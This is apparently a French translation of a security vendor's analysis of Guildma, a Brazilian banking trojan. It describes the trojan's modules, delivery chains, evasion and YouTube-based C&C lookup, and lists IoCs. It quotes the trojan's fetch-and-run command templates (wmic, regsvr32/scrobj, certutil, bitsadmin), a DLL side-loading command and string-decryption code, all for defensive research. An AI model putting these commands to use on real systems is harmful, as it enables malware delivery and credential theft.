Dans ce billet, nous allons examiner Guildma (également connu sous le nom d'Astaroth, un puissant démon), un cheval de Troie bancaire latino-américain très répandu. Ce cheval de Troie ciblant le Brésil, écrit en Delphi, se distingue par des techniques d'exécution et d'attaque innovantes. Nous allons décrire la version la plus récente, en soulignant les changements les plus notables apportés depuis le milieu de l'année 2019, lorsqu'une avalanche d'articles sur Guildma a été publiée en réponse à sa plus grande campagne à ce jour.
Caractéristiques
Guildma est un cheval de Troie bancaire latino-américain qui vise exclusivement le Brésil. Sur la base de notre télémétrie - ainsi que de l'attention publique qu'elle a reçue - nous pensons qu'il s'agit du cheval de Troie bancaire le plus efficace et le plus avancé de la région. En plus de cibler les institutions financières, Guildma tente également de voler les identifiants des comptes de messagerie, des boutiques en ligne et des services de streaming, et touche au moins dix fois plus de victimes que les autres chevaux de Troie bancaires latino-américains déjà décrits dans cette série. Il utilise des méthodes d'exécution innovantes et des techniques d'attaque sophistiquées.
Contrairement aux chevaux de Troie bancaires latino-américains que nous avons décrits précédemment, Guildma ne stocke pas les fausses fenêtres pop-up qu'il utilise dans le binaire. Au lieu de cela, l'attaque est orchestrée par son serveur C&C. Cela donne aux auteurs une plus grande flexibilité pour réagir aux contre-mesures mises en place par les banques ciblées.
Guildma met en œuvre les fonctionnalités de porte dérobée suivantes :
- Prise de captures d'écran
- Saisie des frappes
- Émulation du clavier et de la souris
- Blocage des raccourcis (comme la désactivation de la combinaison Alt + F4 pour rendre plus difficile l'élimination des fausses fenêtres qu'elle peut afficher)
- Téléchargement et exécution de fichiers
- Redémarrage de la machine.
Guildma est très modulaire. Au moment de la rédaction du présent document, elle se compose de 10 modules, sans compter les étapes de la chaîne de distribution. La fonctionnalité des différents modules sera examinée plus tard.
Évolution des chaînes de distribution
Notre télémétrie indique que Guildma se propage exclusivement par des courriers électroniques de spam avec des pièces jointes malveillantes. Voici quelques exemples d'une campagne menée à partir de la mi-novembre 2019.
L'une des caractéristiques des chaînes de distribution de Guildma est l'utilisation d'outils déjà présents sur le système, souvent de manière nouvelle et inhabituelle.
Une autre caractéristique est la réutilisation des techniques. De nouvelles techniques sont ajoutées de temps à autre, mais pour la plupart, les développeurs semblent simplement réutiliser des techniques des anciennes versions.
La figure 5 montre la chaîne de distribution de la version 150, mais la structure des chaînes de distribution de Guildma est très dynamique. Par exemple, dans les versions précédentes, le fichier LNK malveillant montré dans la figure 5 n'était pas intégré dans une archive ZIP, ou une archive SFX RAR contenant un installateur MSI était utilisée à la place. De plus, il y avait une autre étape JScript dont le seul but était de télécharger et d'exécuter l'étape JScript finale; il y a eu trop de changements dans l'ensemble pour que nous puissions les intégrer dans cet article. En fait, la seule partie qui n'a pratiquement pas changé est l'étape finale du JScript.
En utilisant les données de notre suivi à long terme et approfondi de cette famille, nous obtenons une très bonne image de l'activité de Guildma.
La figure 6 montre toutes les détections d’ESET de la composante de première étape de Guildma. Comme vous pouvez le voir, les campagnes s'intensifiaient lentement jusqu'à une campagne massive en août 2019, où nous avons vu jusqu'à 50 000 échantillons par jour. Cette campagne a duré près de deux mois et a représenté plus du double du nombre de détections que nous avions vues au cours des dix mois précédents.
Following is a summary of some of the more interesting techniques used in the last 14 months.
Exécution de l’étape JScript
Au cours de l'année dernière, Guildma a utilisé plusieurs méthodes pour exécuter les étapes JScript de sa chaîne de distribution. À la fin de 2018, Guildma cachait son code dans des fichiers eXtensible Stylesheet Language (.xsl) et utilisait wmic.exe pour les télécharger et les exécuter :
wmic.exe <wmic query> /format:"<URL>"
Il est ensuite brièvement passé à l'utilisation de regsvr32.exe et scrobj.dll pour télécharger un objet COM implémenté par JScript et exécuter sa routine d'enregistrement (qui contient le code malveillant) :
regsvr32.exe /s /n /u /i:<URL> scrobj.dll
Plus récemment, les auteurs ont commencé à abuser de l'explorateur Windows pour exécuter l'étape JScript. Cette attaque repose sur le fait que l'Explorateur Windows tente d'ouvrir tout fichier qui lui est transmis en ligne de commande avec son programme associé et sur le fait que l'association par défaut pour les fichiers .js est Microsoft Windows Script Host. Le « script » transmis à Windows Explorer est une commande unique dont le but est de télécharger et d'exécuter l'étape JScript :
echo GetObject('script:<URL>') > <file>.js | explorer.exe <random switches> <file>.js
Exécution des modules binaires
Les méthodes de fonctionnement des modules de PE ne sont pas moins diverses.
Lorsque nous avons commencé à suivre Guildma, il abusait du fichier aswRunDll.exe d'Avast pour lancer la première étape binaire, avec regsvr32.exe comme basculement pour les ordinateurs sur lesquels les produits d'Avast n'étaient pas installés. L'utilisation de aswRunDll.exe a ensuite été abandonnée, laissant regsvr32.exe comme seule méthode d'exécution. Après une brève période d'utilisation de rundll32.exe, Guildma est passé à sa méthode d'exécution actuelle — ExtExport.exe.
ExtExport.exe est un composant non documenté de Microsoft Internet Explorer utilisé pour exporter les signets de Mozilla Firefox et de 360 Secure Browser, et peut être utilisé abusivement pour le chargement latéral de DLL. Lorsque la commande suivante est exécutée, mozcrt19.dll, mozsqlite3.dll et sqlite3.dll sont chargés à partir du dossier spécifié sur la ligne de commande :
C:\Program Files\Internet Explorer\ExtExport.exe <folder> <dummy 1> <dummy 2>
Pour abuser de ceci, vous devriez normalement déposer la DLL à charger comme l'un des fichiers mentionnés ci-dessus; Guildma utilise les trois.
Téléchargement des modules binaires
Guildma a également utilisé plusieurs moyens différents pour télécharger les modules binaires. La première version utilisait certutil.exe copié sur certis.exe (vraisemblablement pour échapper à la détection) :
certis.exe -urlcache -split -f "<URL>" "<destination path>"
Les auteurs sont ensuite passés à BITSAdmin — l'outil de gestion du service de transfert intelligent de Microsoft Background - et l'utilisent toujours au moment de la rédaction du présent document :
bitsadmin.exe /transfer <random number> /priority foreground <URL> <destination>
Pendant quelques mois, les modules binaires ont été encodés en base64 et hébergés sur le Google Cloud. Pendant ce temps, Guildma utilisait à la BITSAdmin et certutil — BITSAdmin pour télécharger les modules et certutil pour les décoder.
Autres changements
Guildma utilise des noms de variables et de fonctions étranges et non descriptifs. Lorsque nous avons commencé à suivre Guildma, les noms, bien qu'absurdes, étaient clairement d'origine humaine (par exemple « radador » pour la fonction de nombres aléatoires ou « Bxaki » pour la fonction de téléchargement). En juin 2019, ils ont tous été changés pour des noms d'apparence aléatoire (par exemple « bx021 » et « mrc430 »). Au début, nous pensions que les auteurs avaient mis en place une sorte d’obfuscateur de script automatisé, mais il s'est avéré qu'il s'agissait d'un changement ponctuel et les noms sont restés les mêmes depuis.
Un ajout relativement récent est la technique séculaire d'utilisation d'ADS (Alternate Data Streams) pour stocker les modules binaires. Tous les modules sont désormais stockés sous la forme ADS d'un seul fichier (par exemple, « desktop.ini:nauwuygiaa.jpg », « desktop.ini:nauwuygiab.jpg », etc.)
Historique des versions
Guildma a apparemment connu de nombreuses versions au cours de son développement, mais il y a eu généralement très peu de développement entre les versions - en raison de son architecture maladroite utilisant des valeurs de configuration codées en dur, les auteurs doivent pour la plupart recompiler tous les binaires pour chaque nouvelle campagne. Un travail qui n'est évidemment pas complètement automatisé, car il y a souvent eu un délai important entre la mise à jour du numéro de version dans les scripts et dans les binaires.
Dans cet article, nous couvrons la version 150, mais depuis que nous avons commencé à écrire, deux autres versions ont été publiées. Elles ne contiennent aucun changement substantiel dans les fonctionnalités ou la distribution, ce qui confirme nos affirmations sur le cycle de développement de Guildma.
L'étape finale de la chaîne de distribution contenait un nom de version (et même avant cela, elle avait l'habitude de télécharger ledit nom avec les modules binaires), mais il a été (probablement) remplacé de façon permanente par un simple « xXx » depuis la version 148.
Le tableau 1 résume toutes les versions publiées depuis que nous avons commencé à suivre activement Guildma en octobre 2018. En regardant les chaînes de version, on a l'impression que l'auteur est passionné tant par l'écologie et les voitures rapides.
Tableau 1. Historique des versions de Guildma
First seen | Version number | Version name | Version prefix |
---|---|---|---|
2018-09-18 | 131 | 131_SUPER_Tesla | marxvxinhhm |
2018-10-31 | 132 | 132_ULTRA_Tesla | srsysddirrx |
2018-11-28 | 133 | 133_TORRE_DE_Tesla | mxgetronicosxy |
2018-11-29 | 134 | 134_MAXX_TESLAs | dwqiopawsamazon |
2018-12-03 | 135 | 135_MOAB_TESLAs | lu769tsla |
2018-12-13 | 136 | 136_KRAKEN_TESLAs | lrdsnhrxxfery |
2019-02-06 | 137 | 137_RAPTOR_TESLAs | rakpat0rpcack |
2019-03-21 | 138 | 138_RAPTOR_TESLAs_ | hillwd763free |
2019-05-20 | 139 | 139_TESLA_ | falxconxrenw |
2019-06-03 | 140 | 140_ASTH_ | valehraysystqx |
2019-06-24 | 141 | 141_T3SL4S_ | ayt3ese4xw |
2019-07-17 | 142 | 142_T3SL4S_ | halawxtz |
2019-08-09 | 143 | 143_T3SL4S_ | asmonnwqk |
2019-08-26 | 144 | 144_MULT1T3SL4S_ | daffsyshqy |
2019-09-26 | 145 | 145_MULT1T3SL4S_ | landoqeahjky |
2019-10-16 | 146 | 146_MULT1T3SL4S_ | valkanxpca |
2019-11-04 | 147 | 147_MULT1T3SL4S_ | koddsuffy |
2019-11-19 | 148 | xXx | lpquayevvt |
2019-11-22 | 149 | #rowspan# | nauwuygia |
2019-12-13 | 150 | #rowspan# | andrealfo |
2020-01-14 | 151 | #rowspan# | balberith |
2020-02-05 | 152 | #rowspan# | masihaddajjal |
Aperçu du module
Comme mentionné précédemment, Guildma est très modulaire; la structure de ses modules semble être essentiellement constante. Dans cette section, nous allons décrire brièvement la fonctionnalité de chaque module.
Tous les noms de modules sont composés d'un préfixe commun, dépendant de la version, et d'un suffixe spécifique au module. Dans le tableau 2, le préfixe dépendant de la version est andrealfo.
Le tableau 2. Vue d'ensemble des modules de Guildma
URL filename | Filesystem filename | Module |
---|---|---|
andrealfohh1a.dll.zip | andrealfo64.~ | Main module loader 1 (part 1) |
andrealfohh1b.dll.zip | #rowspan# | Main module loader 1 (part 2) |
andrealfoxa.gif.zip | andrealfoxa.gif | Main module injector (part 1) |
andrealfoxb.gif.zip | andrealfoxb.gif | Main module injector (part 2) |
andrealfoxc.gif.zip | andrealfoxc.gif | Main module injector (part 3) |
andrealfogx.gif.zip | andrealfogx.gif | Main module loader 2 |
andrealfog.gif.zip | andrealfog.gif | Main module |
andrealfoc.jpg.zip | andrealfoc.jpg | Contacts stealer and form grabber module |
andrealfodwwn.gif.zip | andrealfodwwn.gif | RAT module (DLL) |
andrealfodx.gif.zip | andrealfodx.gif | RAT module (EXE) |
andrealfoa.jpg.zip | andrealfoa.jpg | MailPassView |
andrealfob.jpg.zip | andrealfob.jpg | WebBrowserPassView |
andrealfoi.gif.zip | andrealfoi.gif | JScript dropper module |
À l'exception du chargeur de module principal 1 (*64.~) et de l'injecteur de module principal (*xa.gif, *xb.gif et *xc.gif), tous les modules sont chiffrés avec un simple chiffrement XOR utilisant une clé répétitive de 32 octets. La clé est générée à partir d'une valeur initiale de 32 bits à l'aide de l'algorithme illustré à la figure 7. Cette valeur initiale est obfusquée dans les binaires pour empêcher une extraction simple (voir figure 8).
key = bytearray ();
for i in range ( 32 ):
key . append ( seed & 0xff );
seed >>= 1;
Figure 7. Algorithme de génération de clés
Trois modules communiquent avec un serveur C&C : Module principal, module RAT, et voleur de contacts et de formulaires. La communication s'effectue via HTTP(S) en utilisant une combinaison de base64 et de divers algorithmes de chiffrement simples et personnalisés pour protéger les données transférées.
Dans la section suivante, nous décrivons comment l'adresse du serveur C&C est obtenue.
Loadeur du module principal 1 (*64.~)
C'est la première étape binaire de la chaîne. Le fichier est une DLL téléchargée en deux parties, qui sont concaténées par l'étape JScript précédente. Il charge les trois fichiers composant le chargeur de l'étape suivante (*xa.gif, *xb.gif et *xc.gif), les concatène, mappe le fichier PE résultant dans son propre espace d'adressage et l'exécute.
Le chargement d'un fichier PE est un processus relativement complexe, c'est pourquoi les auteurs ont utilisé la librairie open-source BTMemoryModule à cette fin.
Injecteur du module principal (*xa.gif + *xb.gif + *xc.gif)
Ce module charge l'étape suivante (*gx.gif) à partir du disque et la déchiffre. Il exécute ensuite le premier exécutable existant de la liste suivante et y injecte la charge utile déchiffrée.
- C:\Program Files\AVAST Software\Avast\aswRunDll.exe
- C:\Program Files\Diebold\Warsaw\unins000.exe *
- C:\Windows\SysWOW64\userinit.exe
- C:\Windows\System32\userinit.exe
* Une application populaire au Brésil pour protéger l'accès aux services bancaires en ligne.
Loadeur de module principal 2 (*gx.gif)
La dernière étape du chargeur est très simple et semble dupliquer inutilement la fonctionnalité du chargeur de module principal 1. Il charge et déchiffre le module principal (*g.gif), le mappe dans son propre espace mémoire et l'exécute.
Module principal (*g.gif)
Le module principal de Guildma orchestre tous les autres modules. Sa mise en œuvre est d'une complexité trompeuse, utilisant d'innombrables minuteries et événements, mais sa fonctionnalité est en fait relativement simple. Il contient du code ancien qui n'est plus utilisé ainsi que du code de pré-production qui n'est pas encore utilisé.
Au chargement, ce module vérifie s'il fonctionne dans un environnement « sandbox » (par exemple, en examinant le nom de l'ordinateur et l'ID du volume du disque système), s'il existe d'autres instances en cours d'exécution (sur la base des noms de fenêtres) et si la langue du système est différente du portugais. Si une vérification révèle que le système est inintéressant ou déjà compromis par Guildma, le logiciel malveillant s’arrête de lui-même.
Dans le cas contraire, le module collecte alors des informations sur le système (nom de l'ordinateur, logiciel de sécurité utilisé, programmes installés...) et établit un contact avec le serveur de C&C. Il commence alors à surveiller les événements intéressants, principalement lors du lancement de certaines applications ou de l'ouverture de sites de banque en ligne, et à exécuter les actions appropriées (par exemple, prendre des captures d'écran, empêcher l'utilisateur de fermer la fenêtre en interceptant les raccourcis clavier, lancer le module RAT, etc.)
Le module met également en œuvre des commandes de porte dérobée dont la fonctionnalité recoupe largement celle du module RAT.
Voleur de contacts et graveur de formulaires (*c.jpg)
Ce module a deux fonctions : la collecte d'adresses électroniques et de données de formulaires à partir de pages Web.
Les adresses électroniques sont obtenues à partir de clients de messagerie de bureau (tels que Microsoft Outlook, ThunderBird et The Bat !) en analysant leurs carnets d'adresses ainsi que les courriers électroniques eux-mêmes.
Le collecteur de formulaires utilise la technologie COM de Windows pour interagir avec Internet Explorer. Il attend qu'un site ciblé soit ouvert (principalement des webmails, des boutiques en ligne et des passerelles de paiement brésiliens) et déconnecte ensuite l'utilisateur, obligeant la victime à saisir ses identifiants. Il récupère ensuite le DOM et recherche les valeurs importantes des champs de saisie (tels que les noms d'utilisateur, les mots de passe et les numéros de carte de crédit).
Module RAT (*dwwn.gif, *dx.gif)
Le module RAT se présente sous la forme de deux compilations fonctionnellement identiques - DLL (*dwwn.gif) et EXE (*.dx.gif).
Il met en œuvre les fonctionnalités de téléchargement et d'exécution, peut faire des captures d'écran, émuler la saisie au clavier et à la souris, et redémarrer l'ordinateur.
La plupart des chevaux de Troie bancaires latino-américains affichent de fausses fenêtres pop-up basées sur la surveillance du nom de la fenêtre active. Ces fenêtres sont généralement stockées dans le binaire. Nous n'avons pas trouvé un tel code dans Guildma, mais le module RAT contient un formulaire Delphi mettant en œuvre un simple navigateur Web. Comme il est également exécuté sur la base du nom de la fenêtre active, nous pensons que ce formulaire est utilisé pour afficher de faux dialogues à l'utilisateur.
MailPassView (*a.jpg) et BrowserPassView (*b.jpg)
Il s'agit d'outils gratuits de Nirsoft permettant d'extraire les informations d'identification enregistrées dans les clients de messagerie électronique et les navigateurs web les plus populaires, respectivement. Depuis que Nirsoft a supprimé le support du fonctionnement silencieux (sortie dans un fichier, sans interface graphique) des versions plus récentes afin de limiter l'abus de ces outils par les logiciels malveillants, les auteurs de Guildma utilisent des versions plus anciennes qui possédaient ces fonctionnalités. Les mêmes outils sont également utilisés par Mispadu. Par contre, Mispadu utilise des versions plus récentes avec le support du fonctionnement silencieux réintégré.
Dropper du module JScript (*i.gif)
This module drops and executes (using cscript.exe) a JScript file. The script consists of two parts — the first part is stored as one long encrypted string, while the second part is assembled from many short strings (some encrypted and some in plaintext). Worthy of note is the fact that strings in the dropped JScript file are encrypted by this dropper module with a randomly generated key, so they are present in the clear in the dropper.
The script executes the following actions:
Ce module dépose et exécute (à l'aide de cscript.exe) un fichier JScript. Le script se compose de deux parties : la première partie est stockée sous la forme d'une longue chaîne chiffrée, tandis que la seconde partie est assemblée à partir de nombreuses chaînes courtes (certaines chiffrées et d'autres en texte clair). Il convient de noter que les chaînes du fichier JScript déposé sont chiffrées par ce module de dépôt avec une clé générée de manière aléatoire, de sorte qu'elles sont présentes en clair dans le dépôt.
Le script exécute les actions suivantes :
- Désactive l'UAC
- Désactive la vérification de la signature EXE
- Désactive Windows Defender
- Crée une règle de pare-feu désactivant l'accès au réseau.
C:\Program Files\AVAST Software\Avast\Setup\avast.setup
- Désactive le pilote wsddntf (Diebold Warsaw GAS Tecnologia - le logiciel de protection de l'accès aux services bancaires introduit plus tôt)
- Ajoute une exception de pare-feu pour les fichiers utilisés comme cibles d'injection.
- C:\Program Files\Diebold\Warsaw\unins000.exe
- C:\Program Files\AVAST Software\Avast\aswRunDll.exe
Nous croyons que ce module pourrait encore être en cours de développement, car nous ne l'avons jamais observé déposer le script sur l’une ou l’autre de nos machines de test.
Nouveaux développements (depuis la mi-2019)
Nouvel extracteur C&C
Dans la version 142, un nouveau mode de distribution des serveurs C&C, abusant des profils YouTube et Facebook, a été mis en place. Cependant, les auteurs ont cessé d'utiliser Facebook presque immédiatement et, au moment de la rédaction de ce document, ils se fient entièrement à YouTube. Ceci fonctionne de façon similaire à Casbaneiro, mais en un peu plus grossier. Alors que Casbaneiro cachait les données dans des descriptions vidéo et les obfusquait en les intégrant dans une URL, Guildma se contente de placer les données dans la description du canal. Le début et la fin des adresses C&C chiffrées sont délimités par « ||| ». Les données intermédiaires sont codées en base64 et chiffré à l'aide de l'algorithme de chiffrement de chaînes de Mispadu. C'est maintenant la principale méthode de récupération des serveurs C&C; l'ancienne méthode (décrite par Avast) est toujours présente en tant que sauvegarde.
Modules ajoutés et supprimés
Le module compte-gouttes JScript décrit précédemment a été ajouté dans la version 145. A l'inverse, dans la version 139, Guildma a supprimé deux autres modules présents dans les versions antérieures - le mass mailer (*f.jpg) et son chargeur (*e.jpg). Dans les versions suivantes, ces modules étaient toujours accessibles sous les noms attendus (<version prefix>e.jpg et <version prefix>f.jpg) à partir du même serveur que les autres modules. Cela nous amène à penser que ces modules sont toujours en cours de développement, mais qu'ils ne sont désormais distribués que selon les besoins, vraisemblablement en utilisant la commande de téléchargement et d'exécution de la backdoor.
Nouveau chiffrement des chaînes de caractères
Le module JScript dropper a apporté avec lui un nouvel algorithme de chiffrement des chaînes de caractère. Une variante de cet algorithme (illustrée à la figure 10) a été propagée dans d'autres modules dans la version 147.
def decrypt ( ct, key ):
# stage 1
ct = unhexlify ( ct );
last = ct [ 0 ];
s = bytearray ( ct [ 1 : ] );
for i in range ( len ( s ) ):
x = s [ i ] ^ key [ i % len ( key ) ];
if last > x:
x += 0xff;
x -= last;
last = s [ i ];
s [ i ] = x;
# stage 2 - reverse string
s = s [::-1];
# stage 3 - c = not ( c - 10 )
s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] );
# stage 4 - Base25 decode and key subtraction
k = ord ( s [ 0 ] ) - 65;
ot = "";
for i in range ( 1, len ( s ), 2 ):
ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );
return ot;
Figure 10. Nouvel algorithme de chiffrement des chaînes de caractères
A l'origine, Guildma utilisait le même chiffrement de chaîne que Casbaneiro. Le nouvel algorithme comporte quatre étapes et, comme vous pouvez le voir, l'algorithme original de chiffrement des chaînes de caractères est toujours utilisé comme première étape. Il faut également noter que la quatrième étape utilise à nouveau l'algorithme de chiffrement de Mispadu.
Dans la version 148, Guildma a mis en place une table de chaînes de caractères. L’ensemble des chaînes y sont déchiffrées au début de l'exécution et accessibles à partir de la table si nécessaire.
Suppression des cibles internationales
Dans la version 138, Guildma a ajouté la possibilité de cibler des institutions (principalement des banques) en dehors du Brésil. Malgré cela, nous n'avons observé aucune campagne internationale; les campagnes hébergeant des fichiers sur l'infrastructure des travailleurs de Cloudflare sont même allées jusqu'à bloquer tout téléchargement provenant d'IP non brésiliens. En fait, au cours des 14 derniers mois, nous n'avons vu aucune campagne ciblant les utilisateurs hors du Brésil.
Enfin, dans la version 145, la possibilité de cibler des institutions en dehors du Brésil a été supprimée. Sur la base de ces faits, nous croyons qu'il s'agissait simplement d'une fonctionnalité en cours de développement qui a fini par être supprimée.
Conclusion
Dans cette partie de la série, nous avons parlé de Guildma, le cheval de Troie bancaire latino-américain le plus répandu que nous ayons vu. Nous avons montré la richesse de son évolution historique tout en nous concentrant sur la variante la plus récente.
Guildma partage une fois de plus les caractéristiques dominantes d'un cheval de Troie bancaire latino-américain. Il est écrit en Delphi, cible la région, implémente une fonctionnalité de backdoor, divise sa fonctionnalité en plusieurs modules et abuse d'outils légitimes.
Guildma partage également des caractéristiques communes intéressantes avec les familles décrites plus haut dans cette série. En effet, son algorithme de chiffrement actuel combine ceux utilisés par Casbaneiro et Mispadu.
Pour toute question, contactez-nous à l'adresse suivante : threatintel@eset.com. Des indicateurs de compromis peuvent également être trouvés dans notre dépôt GitHub.
Indicateurs de compromission (IoCs)
Hashes
SHA-1 | Description | ESET Detection name |
---|---|---|
45c58bc40768dce6a6c611e08fd34c62441aa776 | Main module loader 1 | Win32/Spy.Guildma.BM |
861f20b0dcc55f94b4c43e4a7e77f042c21506cf | Main module injector | Win32/Spy.Guildma.BJ |
37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1 | Main module loader 2 | Win32/Spy.Guildma.Q |
a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d | Main module | Win32/Spy.Guildma.BS |
4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc | Contacts stealer and form grabber | Win32/Spy.Guildma.D |
6c9304c5862d4e0de1c86d7ae3764f5e8358daff | RAT module (DLL) | Win32/Spy.Guildma.BR |
89fbffe456de850f7abf4f97d3b9da4bad6afb57 | RAT module (EXE) | Win32/Spy.Guildma.BR |
af0d495ecc3622b14a40ddcd8005873c5ddc3a2d | MailPassView | Win32/PSWTool.MailPassView.E |
92bcf54079cbba04f584eac4486473c3abdd88cd | WebBrowserPassView | Win32/PSWTool.WebBrowserPassView.E |
a2048f435f076988bf094274192a196216d75a5f | JScript dropper module | Win32/Spy.Guildma.BP |
Noms de fichier
C:\Users\Public\Libraries\qlanl\*
Liens de démarrage
- Location
%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk
- Cibles
C:\Program Files (x86)\Internet Explorer\ExtExport.exe
C:\Program Files\Internet Explorer\ExtExport.exe
- Args
<install dir> <rand> <rand>
(où <rand> est une chaîne aléatoire de 5 à 9 caractères générée à partir de l'alphabet qwertyuiop1lgfdsas2dfghj3zcvbnmm)
Serveurs C&C
- https://www.zvatrswtsrw[.]ml
- https://xskcjzamlkxwo[.]gq
- https://www.vhguyeu[.]ml
- https://www.carnataldez[.]ml
- https://www.movbmog[.]ga
- https://iuiuytrytrewrqw[.]gq
- https://www.gucinowertr[.]tk
- https://equilibrios[.]ga
- https://www.clooinfor[.]cf
- https://ambirsr[.]tk
- https://dbuhcbudyu[.]tk
- https://nvfjvtntt[.]cf
- http://whia7g.acquafufheirybveru[.]online
Techniques MITRE ATT&CK
Tactic | ID | Name | Description |
---|---|---|---|
Initial Access | T1193 | Spearphishing Attachment | Guildma distribution chains start with a malicious email attachment. |
Execution | T1073 | Rundll32 | Guildma utilizes rundll32.exe to execute its binary modules. |
T1047 | Windows Management Instrumentation | Guildma abuses WMIC.exe to execute some of its distribution chain stages. | |
Persistence | T1060 | Registry Run Keys / Startup Folder | Guildma ensures persistence by creating a LNK file in the %STARTUP% folder. |
Defense Evasion | T1197 | BITS Jobs | BITSAdmin.exe is used to download binary modules. |
T1089 | Disabling Security Tools | Guildma disables Windows Defender. | |
T1140 | Deobfuscate/Decode Files or Information | The majority of Guildma modules need to be decrypted after downloading. | |
T1073 | DLL Side-Loading | Guildma abuses ExtExport.exe for DLL Side-Loading. | |
T1096 | NTFS File Attributes | Guildma utilizes ADS to hide its modules on disk. | |
T1055 | Process Injection | Guildma utilizes process injection when executing its modules. | |
T1064 | Scripting | Guildma implements its distribution chain stages in various scripting languages (mainly JScript). | |
T1220 | XSL Script Processing | Guildma utilizes XSL script(s) in its distribution chains. | |
Credential Access | T1081 | Credentials in Files | Guildma extracts credentials stored by web browsers and email clients in files. |
T1214 | Credentials in Registry | Guildma extracts credentials stored by web browsers and email clients in Windows Registry. | |
Discovery | T1083 | File and Directory Discovery | Guildma uses presence of certain files to determine whether banking and security tools are installed. |
T1010 | Application Window Discovery | Guildma uses window discovery to find and terminate older versions of itself and to detect when interesting programs (e.g. banking applications or web browsers) are running. | |
T1063 | Security Software Discovery | Guildma detects the presence of several security products. | |
T1082 | System Information Discovery | Guildma collects OS version and bitness, computer name and system locale. | |
T1497 | Virtualization/Sandbox Evasion | Guildma uses directory names, computer names, volume IDs, and existence of named objects to detect sandboxes and virtualized environments. | |
Collection | T1113 | Screen Capture | Guildma is capable of taking screenshots. |
Command and Control | T1024 | Custom Cryptographic Protocol | New C&C addresses are encrypted using custom encryption algorithms. |
Exfiltration | T1041 | Exfiltration Over Command and Control Channel | Guildma uploads screenshots and log files to the C&C server. |